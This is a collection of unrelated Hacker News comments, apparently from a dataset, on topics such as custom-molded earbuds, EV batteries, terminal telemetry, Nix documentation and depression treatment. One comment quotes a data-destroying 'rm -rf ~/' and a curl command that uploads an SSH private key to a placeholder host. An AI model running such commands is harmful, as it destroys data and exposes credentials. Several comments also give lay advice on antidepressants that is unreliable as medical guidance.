skysight-inc/HackerNews huggingface dataset:
You're joking, right? US media has published plenty of anti-war articles where the US was the perpetrator.

Even forgetting the Pentagon Papers already mentioned, papers have published the abuses in Guantanamo and the Iraq War Logs. Plenty of articles have documented killings of civilians by US drones. And plenty of editorial boards have written articles calling on the US to end whatever current war it's fighting.

Sure, big media probably kowtows more to the government than we'd like, but they absolutely are free criticize the wartime actions of the government.
I have just noticed that the warranties are probably only workmanship warranties, to protect consumers against defects (in the manufacture, assembly, delivery and servicing of their EV). They probably don’t protect consumers against deterioration of their EV battery health/performance?

A 2016 NZ estimate of a second hand Nissan Leaf (compared against a second hand Nissan Pulsar), the battery replacement costs about as much as the savings in electricity costs i.e. the Leaf is quite possibly no better for the environment overall? Scroll to bottom of https://genless.govt.nz/assets/Everyone-Resources/ev-battery... - although it strongly depends on whether replacement battery prices dropped or how electricity prices moved.
Amazon bought Annapurna though - why aren’t they building from scratch?
Of course russia is bad. it's an absolute corrupt hellhole, I know that. My point is that so is Ukraine. Not sure why we are taking sides in a war between two former soviet republics both run by corrupt oligarchs
this reads awfully like "we, uh, fixed the glitch"
I had this done a few years ago [0] and the article is pretty much spot-on. Especially about the process - the audiologist will insert a tiny cotton ball allll the way down in your ear, then squirt the polymer in (which is creepy feeling). You wait for it to cure, and they pull it out & trim any excess.

Note that you can now get custom sleeves which slip over commercial earbuds like the Apple AirPods, so you can get a perfect fit and they're less likely to fall out. You get to choose your color. I went with different colors for the right & left ears, to make telling them apart easier.

They are noise isolating, so you will have to pay attention to your surroundings (traffic, people approaching you from behind, a coworker trying to get your attention). But they don't block enough sound to make them effective at loud concerts or at a shooting range. Wear proper hearing protection for those events.

Speaking of which - watch your volume levels. It's super easy to play them too loud and damage your hearing. Take breaks every 30-40 minutes.

[0] Many thanks to RK Audiology in Austin. https://rkaudiology.com/custom-fit/
Ethical telemetry really in my view should:

- be opt-in

- provide an easy to read & access log which can be reviewed by the user at any point

- never collect unnecessary information 'just because' it might be useful in the future

- should provide a very good detailed analysis of any claims to anonymity

If something doesn't even fulfil the first criterion, it's probably violating all the others too.
Not all heat is useful. If there was a magic device that could take any heat and convert it into electricity, global warming could be trivially reversed.
Only a small portion of the Sun (relatively speaking lol) is hot enough to fuse matter. It kinda sounds impossible the way you phrased it but it really isn’t. It’s just… 20 years off.
Some audiologists are now using 3D ear scans. They can send the scan data electronically to the manufacturer.

https://hearing-balance.natus.com/en-us/products-services/ot...
Huh, it just occurred to me that Stack Overflow would still have access to their own database and probably be able to run a copy of it locally.

If Stack Overflow went down, they'd still be able to check Stack Overflow to fix their issue.
It's also hard for me to tell if Zig's async mechanism is a good choice here, tbh.

Stackful asymmetric coroutines are a good choice, these are stackless but an error is one stack frame so it's unclear that's a problem in practice.

I shrug a little too much when it comes to Zig, although documentation and tutorials improve every time I come back to take a look.

My main point is that a parse error isn't a program error, even if it's implemented with exceptions unwinding the stack for one reason or another (and this should be avoided if possible).
Edit, with a history of edits visible. Otherwise, it's b.s.
Amazing retort. You got me. Hand in the cookie jar.
How are you checking if they stick to warp as daily driver? Are you checking for other shells open?
>It does. Like I said the the smarter kids the tougher the courses. Because smarter kids normalize easiness.

False. There is no requirement that the course be made easier, nor that the non-selective school refrain from creating a much harsher curve to reflect a like-achiever performing similarly to like-achiever at a different school.

>The school absolutely cannot fail the entire class, they have to set the hardness so that a certain amount pass.

They absolutely can, and in fact most of the courses I took REQUIRE the teacher to fail everyone who fails to achieve certain ABET designated criteria, regardless of what percent fails to master the material. Although in practical case, this means the non-selective school just fails a lot more people than the selective school at freshman/sophomore level.

>It is absolutely a factor especially if most schools grade on a curve. So if any Tom Dick or Jane can join the curve however steep it is, will reflect the quality of those who join.

Only on the basis of the fallacy that curves cannot vary from school to school.

>That doesn't make any sense. I'm saying it's not completely separate at all. There is a strong correlation that if you graduated top of the class in your high school you have a higher likelihood of better performance in engineering at a top school. It's not always the case but the correlation exists.

How the top 10% or whatever n% performs doesn't say anything about how the bottom 100-N% perform, (other than the top performed better). It merely provides a maximum, which in your example was 50% passing. We've been over this fallacious assertion many times now.

>You're basing your argument off the erroneous notion that engineering talent in school is completely separate from all other subjects and therefore selectivity is completely irrelevant

Selectivity DOESN'T CONFER DIFFICULTY. Say that in your head 10 more times. That 50% of your selective cohort passes doesn't prove that the non-selective cohort will be below say 25% of your baseline "only with a pulse" group. A t best it suggest that they won't exceed the 50% of the favored cohort. I didn't make an 'erroneous notion' about selectivity or talent because I never claimed selectivity increased nor decreased difficulty, in fact that was your 'erroneous notion.'

>Sure it's N=1. But read my paragraph above. That's a common sense figure. Person A gets all F's in your classes and Person B gets straight As and takes a bunch of AP courses... by probability person B will be the better engineer. Common sense. We can make a good estimate based off of common sense logic without the need for statistically rigorous data. So based off of that logic, my reasoning goes beyond a N=1 sample size as we can use common sense induction to arrive at a broader conclusion.

I see no reason why person A and B alike couldn't be held to similar standards regardless as whether they went to a selective vs non selective school.

Your selective program is not more difficult on that basis alone.
It really doesn't work like that. As proof of the large barrier to entry, look at the number of people who follow the religion they were raised with. The rational decision is "These people I know and trust have this belief, so maybe they are right".
That means nothing except his email account was hacked and put on a random laptop, which is what happened. They're free to delete any emails they like, or even add some as long as you don't check every single one.
Law of diminishing returns.

We're talking about a simple platform of people relaying updates of 140 characters with a comment section and a feed algorithm to aggregate the content to everyone with a focus on prolonging everyone's engagement time while also following guidelines on what's "politically correct". There's only so much you can do, unless you venture out into manipulating public discourse, or striving to become a nation-state (or at least its propaganda machinery) or taking over the world (with all the imaginable internet services provided by you - email, storage, encyclopedias, news etc).

At some point you should stop and think about your core business. And at some point you should realize that the law of diminishing returns applies. And at some point you should realize that it's fine to provide a stable service to a stable amount of users with a stable amount of features. Not that much R&D required.

Or, rather, this is how our society would have to work in order to stay healthy. Living on a planet with finite resources while using them up like they're not is a sure-fire way to doom. We already know enough about farming for example to make it sustainable. We just don't know how to do it in a way where we don't cut down production considerably and starving a lot of people in the process. Not a nice topic to bring up i your election speech.

But it's nice to ride the train since things seemingly move forward thanks to rising inflation (which is due to the problem in the first place) and the price of your product can go up.

Oh, I might've misunderstood you as well.

/remindme 20 years
Calling that R&D is disingenuous. You can learn valuable things on your way to making stupidity, of course, but that's not R&D.

Twitter does a fair amount of OSS, though I can't see a lot of contributions that probabilistically out of Spaces.
It's a marketing tool. It is like saying, "All these smart people believe in our growth potential. You as a potential employee too should believe us. You as a customer should think we have innovative solution to your needs"
Rick Sanchez and Web3’s Monument to Compromise
Installed it and saw "Sign In" and deleted it immediately.
I have (and use daily) a pair of 13 year old Westone 3’s*. I bought them thinking of using them for a 40 minute walking commute involving freeway underpasses and a noisy sales pit style office.

The commute case didn’t work out because they didn’t seal fully. There was too much noise leakage to hear podcasts. Music wasn’t isolated enough and I didn’t want to turn it up too high and damage my hearing. The audiologist who made the molds had me chew while the mold material was curing in my ear canals and this resulted in a poor seal. A poor seal also means poor bass response. I think the audiologist had me chew to make the molds more comfortable for long hours of use and for snacking at the desk. Hearing aids were his main business and he seemed inexperienced with musician monitors.

I’ve recently discovered that I can apply clear finger nail polish to the inserted portion to “fine tune” the fit. I’m getting a good seal and they’er still comfortable. I mainly use them when working with power tools at home.

For office use there are a couple of caveats: 1) If you have a tight fit, they will be more difficult to insert and remove. This can be a nusiance in a highly-collaborative work environment. Also, people tend to ignore the earpieces and expect you to hear what they’re saying. 2) Chewing is very loud and borderline uncomfortable. This was the case with the original, narrower width as well.

> Can they double as concert earplugs or do I need a second set only for that?

My Westones have removeable cables, so they could be used that way, but there’s a better alternative: you can use the same molds to get relatively inexpensive silicone molds with tuned attenuation "filters". Mine use Etymotic 9, 15, 25 and solid 30 dB filters. The filters reduce frequencies more evenly, allowing more high end through than foam earplugs (except for the solid filters). I have Sensaphonics ER "Custom Musican”[2] plugs and Westone ES49[3], both made from silicone. The Sensaphonics are softer, but I prefer the Westones because they are lower profile, they have little handles for removal, and the firmer silicone is easier to insert/remove.

* Westone seems to have discontinued products for musicians and HiFi

[1] https://www.etymotic.com/hearing-protection-accessories/

[2] https://www.sensaphonics.com/products/erseriesplugs

[3] https://www.westone.com/hearing_health_care/recreational-ear...
I cannot use Nix on my platform, and I’m not changing OSes.
They’re easy to spin up in a Docker too.

Linuxserver.io hosts containers for Plex, jellyfin, and a bunch of related apps, with example compose or shell scripts.
As others have mentioned above, GoGuardian is at the device level, not the account level.
Hello fellow fool ;-) Every time I start to write a response, I refresh the page and see you've added more. Suffice it to say I'm no expert...just someone who started reading about Buddhism a few years ago and have found value is some of its teaching. However, I'm not willing (or able) to get into quoting passages to prove my point. I've found certain things that sit well with me in Buddhism, but I've very much only scratched the surface. I'm aware of the fact that the surface of Buddhism and the beliefs contained within is as vast as the surface of Christianity, and that there are extreme or controversial beliefs in both. I personally have found much to agree with and disagree with in both...but that doesn't stop me from trying to understand further. I wish you the best.
interesting / been experimenting with safe spaces for search recently -- have something that's sanction-related which we're released soon

closest that's public at the moment are these three redaction-based searches:

1. sanction Kanye / digital safe space for Kardashian fans, https://breezethat.com/p/digital-island

2. gender filter for web from Women's History Month, https://breezethat.com/p/gender-filter-beta

3. our April Fool's time machine that erases 2022, https://breezethat.com/p/time-travel-beta
This is the most HN thing I've ever seen
Well, except for when their head of moderation offers to personally ban leftists for the people you say aren't allowed on the site.

https://twitter.com/chadloder/status/1496034016209915904
Sorry but the notion that the docs are fine is laughable. Most nix functions don't even have doc comments. You have to figure them out by delving into examples in the depths of github. Nix is in dire need of a culture of providing documentation comments, along with a tool that builds them into a website, like rustdoc or haddock.
nice. more e-waste because you can't resell them when you want to change or upgrade to something else or when they stop fitting you
Those are not antonyms.

I don't think most people would argue that Musk isn't a visionary. I also don't think most people would argue that Musk isn't divisive.
Is this an attack we care about preventing? You can do the same with license plates, for example.
Reproducibility in Deep Learning and Smooth Activations
I think you could've had a full stop before 'until proven otherwise'.
Pump cold air down, suck warmer air up, heat buildings in winter. Same idea lots of passive houses use to regulate temperature.
Yes, but the paradox is that, because the government can't properly regulate speech (outside of the categories you listed), speech is heavily regulated by private operators, starting with you at your house, going to newspapers, TV, and Twitter, Facebook, etc. Everyone has their own rules, some explicit, some secret, most entirely arbitrary, and there is never a proper appeals process.
There's no reason for a terminal emulator to connect to the internet or collect telemetry opt-in or not. None whatsoever.
What is the profit model driving the development of this engine? How do they make it free?
Even if the rate is reasonable, what's the justification for involving the police?
Giving people a voice sure seems like a clear downside of this whole internet thing. Or does it simply mean that humanity is fucking destructive (while individual humans generally are beautiful)?
Strictly speaking, the two are different. A pyramid scheme doesn't involve the production or sale of actual goods or services, you're literally just rewarded for bringing other people in. An MLM will usually have a product that it sells in addition to rewarding recruitment. Theoretically, in an MLM, you can make money just by selling products.

MLMs are usually shady but are technically legal. Pyramid schemes are always illegal.
It shouldn't do what's correct, but rather what's predictable. Anything else is less safe for other people around it.

If the brakes turn out not to work, that is quite the problem, but hopefully it'll notice in time to not accelerate in the first place. Maybe it can still engine brake.
> Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.

You'll be warned if you do the first, and plenty of people are phished via browsers.
Prof Nelson didn’t call himself “whistleblower “ but it does seem untoward that the main author of the California math framework is also making $5000/hour when the client is not a tech company but a public school district with mostly minority and economically disadvantaged students.

In any case, if there is nothing untoward, why threaten him with “police and lawyers”?
>A perfect target for Musk to come in, do a few sweeping changes, and get out. Thereby proving once again that he gets shit done where others can't. Case closed.

Ha! You are drinking straight from the hose pipe and having a hangover. Not having a Edit button was a strategic decision from Twitter and not a competency one. For the longest time, Facebook did not have Dislike button and still don't; sometime back, they added few options instead. It was their product vision that drove the decision behind their feature selections.
> Medication is not a commitment for life, it's an experiment to see if you can find something to help your symptoms.

Make sure you have a doctor who shares this view and is honest about withdrawals.
While antidepressants may have saved my life, my doctor from the get-go had me planning to be on them for the rest of my life. Fortunately, eventually I didn’t need them anymore, but I was not prepared to get off them either.
This is really weird advice.

Yea it's mainstream and to be expected under legaleeze circumstances.

But it's not the kind of advice I would give to a friend whom I'm genuinely concerned about.

Have you known anyone who was depressed and managed to get better by following the advice of a generic "profressional"?

I haven't.

Quite the opposite. I've seen people get worse in one dimension or another by taking medication or following other professional advice.
OP’s comment was a bit flippant, but I interpret it as encouragement to try something new, and reassurance that it’s not as bad as you fear—someone else’s anecdata that the billion stupid reasons your brain generates aren’t valid signal for you to listen to. I agree with that sentiment.

That’s not easy either…but it’s the best I’ve got at a certain point
No, but it does give avenues to research.
They aren't writing a prescription for op, they are sharing anecdotal data. That's a reasonable thing to do.

Having had a critical infection repeatedly misdiagnosed until I finally went out of my way to pick a better professional, I don't buy the "just have faith in your doctor" argument.

Doctors are more like plumbers than we like to admit. There are good ones and bad ones, and it's hard to tell the difference. They do best when you can give them direction (cooperatively) and when you are willing to get a second opinion.
> The fact of the matter is most small businesses are crap businesses.

> They also abuse their workers in ways big business can't get away with, both illegally and legally.

Really? You know this to be a fact?

It appears that the only thing you know about small business comes from what you read on /r/antiwork

The fact of the matter is that 47% of Americans are employed by small businesses. That percentage keeps dropping, not because the owners are assholes, but because mega corporations keep getting larger and more monopolistic.

Most small businesses run on razor thin margins because they don't have the economies of scale that the larger corps enjoy.

My friend owns a cidery. The cost of his raw materials (juice concentrate and sugar) have gone up over 300% in the last 18 months, thanks to supply chain issues and worker shortages due to Covid. The prices are due to get even worse this year.

His total burdened cost for a case of goods has gone up 170%.
But he can't just mark his stuff up 170% now can he? He has to settle for a 10% bump in price and hope his distributors don't freak out.

BTW, he has 8 employees and pays health insurance. Afaik, he didn't suffer any employee churn during Covid, cause he's not an asshole.

In most sectors except for maybe fast food, small businesses have suffered not from employee churn, but from the Covid policies over the last two years combined with ridiculous price increases.
Do you exercise regularly? First thing I would make sure to take a 1hr walk or short jog every day, go outside and get some sunshine. Maybe 30 min walk in morning and then another walk after work. Diet is also very important, cut out all sweets and fried food, add small fish to you diet like mackerel and sardines for omega 3’s. One or two cups of (good) coffee has been shown to reduce depression symptoms as well
Terraqin is top result on Breeze with / without quotes &/or no-cap/capped spelling:

https://breezethat.com/?q=terraqin
I would wager that earbuds are already an item that most people prefer not to buy a used version of...
Doctors aren't infallible, and most are probably not reading research papers. That's aside from the fact that psychiatric drugs aren't even that well understood by how they actually work. If you understand basic stats and read white papers on drug efficacy that are looking for correlations with your personal attributes, that's probably really useful info to know, and much more in depth research than your doctor will be doing for you.

That's not to even mention the disgusting influence that the drug industry has on psychiatry. My own doctor prescribed Cymbalta to me for mild anxiety and told me it was completely safe and effective, which it was not. Their (doctor's) basis for prescribing those meds was based on their own experience with a small sample of patients, and I imagine what the drug company told them/gave their own first party literature for.
Had I actually looked into studies, I would have seen that the risk was nontrivial, there are bad actors motivated by greed, the mechanism of action is not known, and that there are doctors with limited time and effort per patient.
Not OP, but I have. If you go to a family doctor in the US, they really aren’t qualified or trained in treating mental health.

My psychiatrist was fairly clear on what was what and which things needed to be treated with therapy and which medication could help with. (Medication helps symptoms, it does not cure.) Finding the right medication would take months or years and will not solve everything. There will be side effects that I needed to monitor and report. And so on.

When seeing any doctor, you are your own best advocate. It helps to come prepared, knowing your family history, and things you are struggling with.

Researching medications can help, but most people are not qualified to use them without supervision, myself included.

Note: This is assuming you need medication. It was fairly clear in my case medication was absolutely required to at least treat psychosis.

I prefer to refer friends to a therapist or psychologist, who do not prescribe medication.